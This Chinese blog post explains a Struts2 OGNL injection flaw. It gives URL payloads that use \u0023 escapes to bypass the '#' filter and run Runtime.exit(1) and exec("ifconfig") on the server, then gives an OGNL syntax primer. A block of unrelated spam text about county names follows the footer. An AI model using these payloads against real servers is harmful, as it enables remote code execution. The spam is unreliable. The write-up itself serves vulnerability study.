?('\u0023_memberAccess[\'allowStaticMethodAccess\']')
          (meh)=true&(aaa)
          (('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')
          (\u0023foo\u003dnew%20java.lang.Boolean("false")))
          &(asdf)
          (('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 


          ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
          &(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new java.lang.Boolean("false")))
          &(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

          OGNL處理時最終的結果就是
          java.lang.Runtime.getRuntime().exit(1); 

          ----------------------------------------------------------------

          ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
          &(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
          &(asdf)(('\u0023rt.exec("ifconfig")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

          OGNL處理時最終的結果就是
          java.lang.Runtime.getRuntime().exec("ifconfig") 

           

          以上為struts2.1.2版本洗一下的一個漏洞。首先鋪墊一下,上面代碼執行結果為停掉當前運行的容器,getRuntime().exit(1);退出。
          首先這個漏洞出現是因為OGNL 的用法。
           簡單的介紹一下ognl概念去看百科吧,說一下用法:
           OGNL的方法調用:
            OGNL是在運行時調用方法的,這使得它無法做強制的類型檢查,OGNL會去檢索一個和它方法的各個參數最接近的一個方法進行使用,
            如果有多個方法滿足這個條件,那么OGNL將任意調用其中的一個.(NULL和所有原始類型匹配,所以最有可能返回一個出乎意料的調用).
           OGNL也支持new object()的方法,產生一個新的對象,但是除了在java.lang包里的對象外,必須指明對象所在包的全名.
           OGNL支持直接調用類的靜態方法.@class@method(args)
            eg:@abs(-12.345);
                @Java.lang.Math@floor(3.25);
                @Java.lang.Math@Sqrt(4);
           OGNL操作集合
            1操作列表Lists
             OGNL中Person in {"chinese", "japanese", '"Amercian"}
            2 操作映射
             OGNL中#{"foo" : "foovalue", "bar" : "barvalue"}
           OGNL有一個簡化變量機制(在變量前加符號#),所有OGNL變量在整個表達式里是全局的。
            eg:#var
                #var = 99
                listeners.size().( #this > 100 ? 2 * #this : 20 + #this ) 調用listeners的size()并與100比較,
             #this為size的值,如果大于100則是返回兩倍的size值。
             可以這樣創建一個Map:
             #{“foo”: “foo value”, “bar”: “bar value” }
             #@java.util.LinkedHashMap@{“foo”: “foo value”, “bar”: “bar value” }
           OGNL 上下文變量
            #application
            #session
            #request
            #parameters
            #attr
            以上各值分別對應應用程序的不同層次的值,為了達到程序不被惡意修改在xwork包 com.opensymphony.xwork2.interceptor.PrepareInterceptor類中對#號進行了過濾。
            但沒有過濾java中的unicode碼,#的是\u0023
          (未完待續。。)



          我們有的時候等的不是機會,而是時間,等時間讓我們自己改變。
          posted on 2010-08-09 09:23 王小同 閱讀(1379) 評論(0)  編輯  收藏

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           

          統計

          關注的blog

          主站蜘蛛池模板: 南城县| 文成县| 霍邱县| 东源县| 十堰市| 河北省| 庆元县| 浮山县| 平阳县| 澄迈县| 改则县| 申扎县| 梓潼县| 津市市| 乐平市| 芜湖市| 鸡西市| 阿瓦提县| 沽源县| 贡觉县| 沙洋县| 汾西县| 麦盖提县| 阿瓦提县| 梅州市| SHOW| 高州市| 阿荣旗| 东方市| 怀仁县| 芦溪县| 西安市| 张北县| 南陵县| 宜阳县| 筠连县| 德昌县| 报价| 东乌| 石家庄市| 陈巴尔虎旗|